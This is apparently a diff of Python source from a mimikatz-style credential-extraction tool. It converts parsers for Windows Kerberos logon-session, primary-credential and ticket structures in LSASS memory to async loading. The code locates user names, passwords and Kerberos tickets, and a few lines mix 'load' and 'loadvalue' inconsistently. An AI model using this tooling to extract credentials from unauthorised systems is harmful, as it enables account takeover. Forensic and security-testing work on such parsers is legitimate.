926 p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO()
927 p.location = reader.tell()
928 p.value = await reader.read_uint()
929 p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO
930 return p
571931
572932 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO:
573 def __init__(self, reader):
574 self.StructSize = DWORD(reader).value
575 reader.align()
576 self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned =
577
578 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):
579 def __init__(self, reader):
580 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607)
933 def __init__(self):
934 self.StructSize = None
935 self.isoBlob = None
936
937 @staticmethod
938 async def load(reader):
939 res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO()
940 res.StructSize = await DWORD.loadvalue(reader)
941 await reader.align()
942 res.isoBlob = await PLSAISO_DATA_BLOB.load(reader) #POINTER!!!! #// aligned =
943 return res
944
945 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):
946 def __init__(self):
947 super().__init__()
948
949 @staticmethod
950 async def load(reader):
951 p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607()
952 p.location = reader.tell()
953 p.value = await reader.read_uint()
954 p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607
955 return p
581956
582957 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607:
583 def __init__(self, reader):
584 self.UserName = LSA_UNICODE_STRING(reader)
585 self.Domaine = LSA_UNICODE_STRING(reader)
586 self.unkFunction = PVOID(reader).value
587 self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value
588 reader.align()
589 self.Password = LSA_UNICODE_STRING(reader) # union {
590 self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader)
591
592 class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):
593 def __init__(self, reader):
594 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607)
958 def __init__(self):
959 self.UserName = None
960 self.Domaine = None
961 self.unkFunction = None
962 self.type = None
963 self.Password = None
964 self.IsoPassword = None
965
966 @staticmethod
967 async def load(reader):
968 res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607()
969 res.UserName = await LSA_UNICODE_STRING.load(reader)
970 res.Domaine = await LSA_UNICODE_STRING.load(reader)
971 res.unkFunction = await PVOID.loadvalue(reader)
972 res.type = await DWORD.loadvalue(reader) # // or flags 2 = normal, 1 = ISO(reader).value
973 await reader.align()
974 res.Password = await LSA_UNICODE_STRING.load(reader) # union {
975 res.IsoPassword = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO.load(reader)
976 return res
977
978 class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):
979 def __init__(self):
980 super().__init__()
981
982 @staticmethod
983 async def load(reader):
984 p = PKIWI_KERBEROS_LOGON_SESSION_10_1607()
985 p.location = reader.tell()
986 p.value = await reader.read_uint()
987 p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10_1607
988 return p
595989
596990
597991 class KIWI_KERBEROS_LOGON_SESSION_10_1607:
598 def __init__(self, reader):
599 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
600 self.UsageCount = ULONG(reader).value
601 reader.align()
602 self.unk0 = LIST_ENTRY(reader)
603 self.unk1 = PVOID(reader).value
604 self.unk1b = ULONG(reader).value
605 reader.align()
606 self.unk2 = FILETIME(reader).value
607 self.unk4 = PVOID(reader).value
608 self.unk5 = PVOID(reader).value
609 self.unk6 = PVOID(reader).value
610 self.LocallyUniqueIdentifier = LUID(reader).value
611 self.unk7 = FILETIME(reader).value
612 self.unk8 = PVOID(reader).value
613 self.unk8b = ULONG(reader).value
614 reader.align()
615 self.unk9 = FILETIME(reader).value
616 self.unk11 = PVOID(reader).value
617 self.unk12 = PVOID(reader).value
618 self.unk13 = PVOID(reader).value
619 reader.align(8)
620 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
621 self.unk14 = ULONG(reader).value
622 self.unk15 = ULONG(reader).value
623 self.unk16 = ULONG(reader).value
624 self.unk17 = ULONG(reader).value
625 self.unk18 = PVOID(reader).value
626 self.unk19 = PVOID(reader).value
627 self.unk20 = PVOID(reader).value
628 self.unk21 = PVOID(reader).value
629 self.unk22 = PVOID(reader).value
630 self.unk23 = PVOID(reader).value
992 def __init__(self):
993 self.UsageCount = None
994 self.unk0 = None
995 self.unk1 = None
996 self.unk1b = None
997 self.unk2 = None
998 self.unk4 = None
999 self.unk5 = None
1000 self.unk6 = None
1001 self.LocallyUniqueIdentifier = None
1002 self.unk7 = None
1003 self.unk8 = None
1004 self.unk8b = None
1005 self.unk9 = None
1006 self.unk11 = None
1007 self.unk12 = None
1008 self.unk13 = None
1009 self.credentials = None
1010 self.unk14 = None
1011 self.unk15 = None
1012 self.unk16 = None
1013 self.unk17 = None
1014 self.unk18 = None
1015 self.unk19 = None
1016 self.unk20 = None
1017 self.unk21 = None
1018 self.unk22 = None
1019 self.unk23 = None
1020 self.pKeyList = None
1021 self.unk26 = None
1022 self.Tickets_1 = None
1023 self.unk27 = None
1024 self.Tickets_2 = None
1025 self.unk28 = None
1026 self.Tickets_3 = None
1027 self.unk29 = None
1028 self.SmartcardInfos = None
1029
1030 @staticmethod
1031 async def load(reader):
1032 res = KIWI_KERBEROS_LOGON_SESSION_10_1607()
1033 res.UsageCount = await ULONG.loadvalue(reader)
1034 await reader.align()
1035 res.unk0 = await LIST_ENTRY.load(reader)
1036 res.unk1 = await PVOID.loadvalue(reader)
1037 res.unk1b = await ULONG.loadvalue(reader)
1038 await reader.align()
1039 res.unk2 = await FILETIME.loadvalue(reader)
1040 res.unk4 = await PVOID.loadvalue(reader)
1041 res.unk5 = await PVOID.loadvalue(reader)
1042 res.unk6 = await PVOID.loadvalue(reader)
1043 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
1044 res.unk7 = await FILETIME.loadvalue(reader)
1045 res.unk8 = await PVOID.loadvalue(reader)
1046 res.unk8b = await ULONG.loadvalue(reader)
1047 await reader.align()
1048 res.unk9 = await FILETIME.load(reader)
1049 res.unk11 = await PVOID.loadvalue(reader)
1050 res.unk12 = await PVOID.loadvalue(reader)
1051 res.unk13 = await PVOID.loadvalue(reader)
1052 await reader.align(8)
1053 res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader)
1054 res.unk14 = await ULONG.loadvalue(reader)
1055 res.unk15 = await ULONG.loadvalue(reader)
1056 res.unk16 = await ULONG.loadvalue(reader)
1057 res.unk17 = await ULONG.loadvalue(reader)
1058 res.unk18 = await PVOID.loadvalue(reader)
1059 res.unk19 = await PVOID.loadvalue(reader)
1060 res.unk20 = await PVOID.loadvalue(reader)
1061 res.unk21 = await PVOID.loadvalue(reader)
1062 res.unk22 = await PVOID.loadvalue(reader)
1063 res.unk23 = await PVOID.loadvalue(reader)
6311064 #self.unk24 = PVOID(reader).value
6321065 #self.unk25 = PVOID(reader).value
633 reader.align()
1066 await reader.align()
6341067 #reader.read(8+12)
6351068 #input('pkeylist \n' + hexdump(reader.peek(0x50)))
636 self.pKeyList = PVOID(reader)
637 self.unk26 = PVOID(reader).value
638 self.Tickets_1 = LIST_ENTRY(reader)
639 self.unk27 = FILETIME(reader).value
640 self.Tickets_2 = LIST_ENTRY(reader)
641 self.unk28 = FILETIME(reader).value
642 self.Tickets_3 = LIST_ENTRY(reader)
643 self.unk29 = FILETIME(reader).value
644 self.SmartcardInfos = PVOID(reader)
645
1069 res.pKeyList = await PVOID.load(reader)
1070 res.unk26 = await PVOID.loadvalue(reader)
1071 res.Tickets_1 = await LIST_ENTRY.load(reader)
1072 res.unk27 = await FILETIME.loadvalue(reader)
1073 res.Tickets_2 = await LIST_ENTRY.load(reader)
1074 res.unk28 = await FILETIME.loadvalue(reader)
1075 res.Tickets_3 = await LIST_ENTRY.load(reader)
1076 res.unk29 = await FILETIME.loadvalue(reader)
1077 res.SmartcardInfos = await PVOID.load(reader)
1078 return res
6461079
6471080 class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:
648 def __init__(self, reader):
649 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
650 self.UsageCount = ULONG(reader).value
651 reader.align()
652 self.unk0 = LIST_ENTRY(reader)
653 self.unk1 = PVOID(reader).value
654 self.unk1b = ULONG(reader).value
655 reader.align()
656 self.unk2 = FILETIME(reader).value
657 self.unk4 = PVOID(reader).value
658 self.unk5 = PVOID(reader).value
659 self.unk6 = PVOID(reader).value
660 self.LocallyUniqueIdentifier = LUID(reader).value
1081 def __init__(self):
1082 self.UsageCount = None
1083 self.unk0 = None
1084 self.unk1 = None
1085 self.unk1b = None
1086 self.unk2 = None
1087 self.unk4 = None
1088 self.unk5 = None
1089 self.unk6 = None
1090 self.LocallyUniqueIdentifier = None
1091 self.unk7 = None
1092 self.unk8 = None
1093 self.unk8b = None
1094 self.unk9 = None
1095 self.unk11 = None
1096 self.unk12 = None
1097 self.unk13 = None
1098 self.unkAlign = None
1099 self.credentials = None
1100 self.unk14 = None
1101 self.unk15 = None
1102 self.unk16 = None
1103 self.unk17 = None
1104 self.unk18 = None
1105 self.unk19 = None
1106 self.unk20 = None
1107 self.unk21 = None
1108 self.unk22 = None
1109 self.unk23 = None
1110 self.pKeyList = None
1111 self.unk26 = None
1112 self.Tickets_1 = None
1113 self.unk27 = None
1114 self.Tickets_2 = None
1115 self.unk28 = None
1116 self.Tickets_3 = None
1117 self.unk29 = None
1118 self.SmartcardInfos = None
1119
1120
1121 @staticmethod
1122 async def load(reader):
1123 res = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86()
1124 res.UsageCount = await ULONG.loadvalue(reader)
1125 await reader.align()
1126 res.unk0 = await LIST_ENTRY.load(reader)
1127 res.unk1 = await PVOID.loadvalue(reader)
1128 res.unk1b = await ULONG.loadvalue(reader)
1129 await reader.align()
1130 res.unk2 = await FILETIME.loadvalue(reader)
1131 res.unk4 = await PVOID.loadvalue(reader)
1132 res.unk5 = await PVOID.loadvalue(reader)
1133 res.unk6 = await PVOID.loadvalue(reader)
1134 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
6611135 #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier))
662 self.unk7 = FILETIME(reader).value
663 self.unk8 = PVOID(reader).value
664 self.unk8b = ULONG(reader).value
665 reader.align()
666 self.unk9 = FILETIME(reader).value
667 self.unk11 = PVOID(reader).value
668 self.unk12 = PVOID(reader).value
669 self.unk13 = PVOID(reader).value
670 self.unkAlign = ULONG(reader).value
1136 res.unk7 = await FILETIME.loadvalue(reader)
1137 res.unk8 = await PVOID.loadvalue(reader)
1138 res.unk8b = await ULONG.loadvalue(reader)
1139 await reader.align()
1140 res.unk9 = await FILETIME.loadvalue(reader)
1141 res.unk11 = await PVOID.loadvalue(reader)
1142 res.unk12 = await PVOID.loadvalue(reader)
1143 res.unk13 = await PVOID.loadvalue(reader)
1144 res.unkAlign = await ULONG.loadvalue(reader)
6711145 #input('credentials \n' + hexdump(reader.peek(0x200)))
672 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
673 self.unk14 = ULONG(reader).value
674 self.unk15 = ULONG(reader).value
675 self.unk16 = ULONG(reader).value
676 self.unk17 = ULONG(reader).value
677 self.unk18 = PVOID(reader).value
678 self.unk19 = PVOID(reader).value
679 self.unk20 = PVOID(reader).value
680 self.unk21 = PVOID(reader).value
681 self.unk22 = PVOID(reader).value
682 self.unk23 = PVOID(reader).value
1146 res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader)
1147 res.unk14 = await ULONG.loadvalue(reader)
1148 res.unk15 = await ULONG.loadvalue(reader)
1149 res.unk16 = await ULONG.loadvalue(reader)
1150 res.unk17 = await ULONG.loadvalue(reader)
1151 res.unk18 = await PVOID.loadvalue(reader)
1152 res.unk19 = await PVOID.loadvalue(reader)
1153 res.unk20 = await PVOID.loadvalue(reader)
1154 res.unk21 = await PVOID.loadvalue(reader)
1155 res.unk22 = await PVOID.loadvalue(reader)
1156 res.unk23 = await PVOID.loadvalue(reader)
6831157 #self.unk24 = PVOID(reader).value
6841158 #self.unk25 = PVOID(reader).value
685 reader.align()
686
687 self.pKeyList = PVOID(reader)
688 self.unk26 = PVOID(reader).value
1159 await reader.align()
1160
1161 res.pKeyList = await PVOID.load(reader)
1162 res.unk26 = await PVOID.loadvalue(reader)
6891163 #input('Tickets_1 \n' + hexdump(reader.peek(0x200)))
690 self.Tickets_1 = LIST_ENTRY(reader)
691 self.unk27 = FILETIME(reader).value
692 self.Tickets_2 = LIST_ENTRY(reader)
693 self.unk28 = FILETIME(reader).value
694 self.Tickets_3 = LIST_ENTRY(reader)
695 self.unk29 = FILETIME(reader).value
696 self.SmartcardInfos = PVOID(reader)
697
698 class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
699 def __init__(self, reader):
700 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51)
1164 res.Tickets_1 = await LIST_ENTRY.load(reader)
1165 res.unk27 = await FILETIME.loadvalue(reader)
1166 res.Tickets_2 = await LIST_ENTRY.load(reader)
1167 res.unk28 = await FILETIME.loadvalue(reader)
1168 res.Tickets_3 = await LIST_ENTRY.load(reader)
1169 res.unk29 = await FILETIME.loadvalue(reader)
1170 res.SmartcardInfos = await PVOID.load(reader)
1171 return res
1172
1173 class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
1174 def __init__(self):
1175 super().__init__()
1176
1177 @staticmethod
1178 async def load(reader):
1179 p = PKIWI_KERBEROS_INTERNAL_TICKET_51()
1180 p.location = reader.tell()
1181 p.value = await reader.read_uint()
1182 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_51
1183 return p
7011184
7021185
7031186 class KIWI_KERBEROS_INTERNAL_TICKET_51:
704 def __init__(self, reader):
705 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
706 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
707 self.unk0 = PVOID(reader).value
708 self.unk1 = PVOID(reader).value
709 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
710 self.TargetName = PKERB_EXTERNAL_NAME(reader)
711 self.DomainName = LSA_UNICODE_STRING(reader)
712 self.TargetDomainName = LSA_UNICODE_STRING(reader)
713 self.Description = LSA_UNICODE_STRING(reader)
714 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
715 self.ClientName = PKERB_EXTERNAL_NAME(reader)
716 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
717 self.unk2 = ULONG(reader).value
718 self.KeyType = ULONG(reader).value
719 self.Key = KIWI_KERBEROS_BUFFER(reader)
720 self.unk3 = PVOID(reader).value
721 self.unk4 = PVOID(reader).value
722 self.unk5 = PVOID(reader).value
723 self.unk6 = PVOID(reader).value
724 self.unk7 = PVOID(reader).value
725 self.unk8 = PVOID(reader).value
726 self.StartTime = FILETIME(reader).value
727 self.EndTime = FILETIME(reader).value
728 self.RenewUntil = FILETIME(reader).value
729 self.unk9 = ULONG(reader).value
730 self.unk10 = ULONG(reader).value
731 self.domain = PCWSTR(reader).value
732 self.unk11 = ULONG(reader).value
733 self.strangeNames = PVOID(reader).value
734 self.unk12 = ULONG(reader).value
735 self.TicketEncType = ULONG(reader).value
736 self.TicketKvno = ULONG(reader).value
737 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
1187 def __init__(self):
1188 self.Flink = None
1189 self.Blink = None
1190 self.unk0 = None
1191 self.unk1 = None
1192 self.ServiceName = None
1193 self.TargetName = None
1194 self.DomainName = None
1195 self.TargetDomainName = None
1196 self.Description = None
1197 self.AltTargetDomainName = None
1198 self.ClientName = None
1199 self.TicketFlags = None
1200 self.unk2 = None
1201 self.KeyType = None
1202 self.Key = None
1203 self.unk3 = None
1204 self.unk4 = None
1205 self.unk5 = None
1206 self.unk6 = None
1207 self.unk7 = None
1208 self.unk8 = None
1209 self.StartTime = None
1210 self.EndTime = None
1211 self.RenewUntil = None
1212 self.unk9 = None
1213 self.unk10 = None
1214 self.domain = None
1215 self.unk11 = None
1216 self.strangeNames = None
1217 self.unk12 = None
1218 self.TicketEncType = None
1219 self.TicketKvno = None
1220 self.Ticket = None
1221
1222 @staticmethod
1223 async def load(reader):
1224 res = KIWI_KERBEROS_INTERNAL_TICKET_51()
1225 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader)
1226 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader)
1227 res.unk0 = await PVOID.loadvalue(reader)
1228 res.unk1 = await PVOID.loadvalue(reader)
1229 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1230 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1231 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1232 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1233 res.Description = await LSA_UNICODE_STRING.load(reader)
1234 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1235 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1236 x = await reader.read(4)
1237 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1238 res.unk2 = await ULONG.loadvalue(reader)
1239 res.KeyType = await ULONG.loadvalue(reader)
1240 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1241 res.unk3 = await PVOID.loadvalue(reader)
1242 res.unk4 = await PVOID.loadvalue(reader)
1243 res.unk5 = await PVOID.loadvalue(reader)
1244 res.unk6 = await PVOID.loadvalue(reader)
1245 res.unk7 = await PVOID.loadvalue(reader)
1246 res.unk8 = await PVOID.loadvalue(reader)
1247 res.StartTime = await FILETIME.loadvalue(reader)
1248 res.EndTime = await FILETIME.loadvalue(reader)
1249 res.RenewUntil = await FILETIME.loadvalue(reader)
1250 res.unk9 = await ULONG.loadvalue(reader)
1251 res.unk10 = await ULONG.loadvalue(reader)
1252 res.domain = await PCWSTR.loadvalue(reader)
1253 res.unk11 = await ULONG.loadvalue(reader)
1254 res.strangeNames = await PVOID.loadvalue(reader)
1255 res.unk12 = await ULONG.loadvalue(reader)
1256 res.TicketEncType = await ULONG.loadvalue(reader)
1257 res.TicketKvno = await ULONG.loadvalue(reader)
1258 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1259 return res
7381260
7391261 class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER):
740 def __init__(self, reader):
741 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52)
1262 def __init__(self):
1263 super().__init__()
1264
1265 @staticmethod
1266 async def load(reader):
1267 p = PKIWI_KERBEROS_INTERNAL_TICKET_52()
1268 p.location = reader.tell()
1269 p.value = await reader.read_uint()
1270 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_52
1271 return p
7421272
7431273
7441274 class KIWI_KERBEROS_INTERNAL_TICKET_52:
745 def __init__(self, reader):
746 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
747 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
748 self.unk0 = PVOID(reader).value
749 self.unk1 = PVOID(reader).value
750 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
751 self.TargetName = PKERB_EXTERNAL_NAME(reader)
752 self.DomainName = LSA_UNICODE_STRING(reader)
753 self.TargetDomainName = LSA_UNICODE_STRING(reader)
754 self.Description = LSA_UNICODE_STRING(reader)
755 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
756 self.ClientName = PKERB_EXTERNAL_NAME(reader)
757 self.name0 = PVOID(reader).value
758 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
759 self.unk2 = ULONG(reader).value
760 self.KeyType = ULONG(reader).value
761 self.Key = KIWI_KERBEROS_BUFFER(reader)
762 self.unk3 = PVOID(reader).value
763 self.unk4 = PVOID(reader).value
764 self.unk5 = PVOID(reader).value
765 self.StartTime = FILETIME(reader).value
766 self.EndTime = FILETIME(reader).value
767 self.RenewUntil = FILETIME(reader).value
768 self.unk6 = ULONG(reader).value
769 self.unk7 = ULONG(reader).value
770 self.domain = PCWSTR(reader).value
771 self.unk8 = ULONG(reader).value
772 self.strangeNames = PVOID(reader).value
773 self.unk9 = ULONG(reader).value
774 self.TicketEncType = ULONG(reader).value
775 self.TicketKvno = ULONG(reader).value
776 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
1275 def __init__(self):
1276 self.Flink = None
1277 self.Blink = None
1278 self.unk0 = None
1279 self.unk1 = None
1280 self.ServiceName = None
1281 self.TargetName = None
1282 self.DomainName = None
1283 self.TargetDomainName = None
1284 self.Description = None
1285 self.AltTargetDomainName = None
1286 self.ClientName = None
1287 self.name0 = None
1288 self.TicketFlags = None
1289 self.unk2 = None
1290 self.KeyType = None
1291 self.Key = None
1292 self.unk3 = None
1293 self.unk4 = None
1294 self.unk5 = None
1295 self.StartTime = None
1296 self.EndTime = None
1297 self.RenewUntil = None
1298 self.unk6 = None
1299 self.unk7 = None
1300 self.domain = None
1301 self.unk8 = None
1302 self.strangeNames = None
1303 self.unk9 = None
1304 self.TicketEncType = None
1305 self.TicketKvno = None
1306 self.Ticket = None
1307
1308
1309 @staticmethod
1310 async def load(reader):
1311 res = KIWI_KERBEROS_INTERNAL_TICKET_52()
1312 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader)
1313 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader)
1314 res.unk0 = await PVOID.loadvalue(reader)
1315 res.unk1 = await PVOID.loadvalue(reader)
1316 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1317 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1318 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1319 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1320 res.Description = await LSA_UNICODE_STRING.load(reader)
1321 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1322 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1323 res.name0 = await PVOID.loadvalue(reader)
1324 x = await reader.read(4)
1325 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1326 res.unk2 = await ULONG.loadvalue(reader)
1327 res.KeyType = await ULONG.loadvalue(reader)
1328 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1329 res.unk3 = await PVOID.loadvalue(reader)
1330 res.unk4 = await PVOID.loadvalue(reader)
1331 res.unk5 = await PVOID.loadvalue(reader)
1332 res.StartTime = await FILETIME.loadvalue(reader)
1333 res.EndTime = await FILETIME.loadvalue(reader)
1334 res.RenewUntil= await FILETIME.loadvalue(reader)
1335 res.unk6 = await ULONG.loadvalue(reader)
1336 res.unk7 = await ULONG.loadvalue(reader)
1337 res.domain = await PCWSTR.loadvalue(reader)
1338 res.unk8 = await ULONG.loadvalue(reader)
1339 res.strangeNames = await PVOID.loadvalue(reader)
1340 res.unk9 = await ULONG.loadvalue(reader)
1341 res.TicketEncType = await ULONG.loadvalue(reader)
1342 res.TicketKvno = await ULONG.load(reader)
1343 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1344 return res
7771345
7781346 class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER):
779 def __init__(self, reader):
780 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60)
1347 def __init__(self):
1348 super().__init__()
1349
1350 @staticmethod
1351 async def load(reader):
1352 p = PKIWI_KERBEROS_INTERNAL_TICKET_60()
1353 p.location = reader.tell()
1354 p.value = await reader.read_uint()
1355 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_60
1356 return p
7811357
7821358
7831359 class KIWI_KERBEROS_INTERNAL_TICKET_60:
784 def __init__(self, reader):
785 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
786 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
787 self.unk0 = PVOID(reader).value
788 self.unk1 = PVOID(reader).value
789 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
790 self.TargetName = PKERB_EXTERNAL_NAME(reader)
791 self.DomainName = LSA_UNICODE_STRING(reader)
792 self.TargetDomainName = LSA_UNICODE_STRING(reader)
793 self.Description = LSA_UNICODE_STRING(reader)
794 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
795 #//LSA_UNICODE_STRING KDCServer = //?(reader).value
796 self.ClientName = PKERB_EXTERNAL_NAME(reader)
797 self.name0 = PVOID(reader).value
798 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
799 self.unk2 = ULONG(reader).value
800 self.KeyType = ULONG(reader).value
801 self.Key = KIWI_KERBEROS_BUFFER(reader)
802 self.unk3 = PVOID(reader).value
803 self.unk4 = PVOID(reader).value
804 self.unk5 = PVOID(reader).value
805 self.StartTime = FILETIME(reader).value
806 self.EndTime = FILETIME(reader).value
807 self.RenewUntil = FILETIME(reader).value
808 self.unk6 = ULONG(reader).value
809 self.unk7 = ULONG(reader).value
810 self.domain = PCWSTR(reader).value
811 self.unk8 = ULONG(reader).value
812 self.strangeNames = PVOID(reader).value
813 self.unk9 = ULONG(reader).value
814 self.TicketEncType = ULONG(reader).value
815 self.TicketKvno = ULONG(reader).value
816 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
817
1360 def __init__(self):
1361 self.Flink = None
1362 self.Blink = None
1363 self.unk0 = None
1364 self.unk1 = None
1365 self.ServiceName = None
1366 self.TargetName = None
1367 self.DomainName = None
1368 self.TargetDomainName = None
1369 self.Description = None
1370 self.AltTargetDomainName = None
1371 self.ClientName = None
1372 self.name0 = None
1373 self.TicketFlags = None
1374 self.unk2 = None
1375 self.KeyType = None
1376 self.Key = None
1377 self.unk3 = None
1378 self.unk4 = None
1379 self.unk5 = None
1380 self.StartTime = None
1381 self.EndTime = None
1382 self.RenewUntil = None
1383 self.unk6 = None
1384 self.unk7 = None
1385 self.domain = None
1386 self.unk8 = None
1387 self.strangeNames = None
1388 self.unk9 = None
1389 self.TicketEncType = None
1390 self.TicketKvno = None
1391 self.Ticket = None
1392
1393
1394 @staticmethod
1395 async def load(reader):
1396 res = KIWI_KERBEROS_INTERNAL_TICKET_60()
1397 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader)
1398 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader)
1399 res.unk0 = await PVOID.loadvalue(reader)
1400 res.unk1 = await PVOID.loadvalue(reader)
1401 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1402 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1403 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1404 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1405 res.Description = await LSA_UNICODE_STRING.load(reader)
1406 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1407 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1408 res.name0 = await PVOID.loadvalue(reader)
1409 x = await reader.read(4)
1410 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1411 res.unk2 = await ULONG.loadvalue(reader)
1412 res.KeyType = await ULONG.loadvalue(reader)
1413 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1414 res.unk3 = await PVOID.loadvalue(reader)
1415 res.unk4 = await PVOID.loadvalue(reader)
1416 res.unk5 = await PVOID.loadvalue(reader)
1417 res.StartTime = await FILETIME.loadvalue(reader)
1418 res.EndTime = await FILETIME.loadvalue(reader)
1419 res.RenewUntil = await FILETIME.loadvalue(reader)
1420 res.unk6 = await ULONG.loadvalue(reader)
1421 res.unk7 = await ULONG.loadvalue(reader)
1422 res.domain = await PCWSTR.loadvalue(reader)
1423 res.unk8 = await ULONG.loadvalue(reader)
1424 res.strangeNames = await PVOID.loadvalue(reader)
1425 res.unk9 = await ULONG.loadvalue(reader)
1426 res.TicketEncType = await ULONG.loadvalue(reader)
1427 res.TicketKvno = await ULONG.loadvalue(reader)
1428 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1429 return res
8181430
8191431 class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER):
820 def __init__(self, reader):
821 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6)
1432 def __init__(self):
1433 super().__init__()
1434
1435 @staticmethod
1436 async def load(reader):
1437 p = PKIWI_KERBEROS_INTERNAL_TICKET_6()
1438 p.location = reader.tell()
1439 p.value = await reader.read_uint()
1440 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_6
1441 return p
8221442
8231443 class KIWI_KERBEROS_INTERNAL_TICKET_6:
824 def __init__(self, reader):
825 #self.This = LIST_ENTRY(reader)
826 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
827 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
828
829 #reader.read(8)
830 #input('servicename\n' + hexdump(reader.peek(0x100)))
831 self.unk0 = PVOID(reader).value
832 self.unk1 = PVOID(reader).value
833 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
834 self.TargetName = PKERB_EXTERNAL_NAME(reader)
835 self.DomainName = LSA_UNICODE_STRING(reader)
836 self.TargetDomainName = LSA_UNICODE_STRING(reader)
837 self.Description = LSA_UNICODE_STRING(reader)
838 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
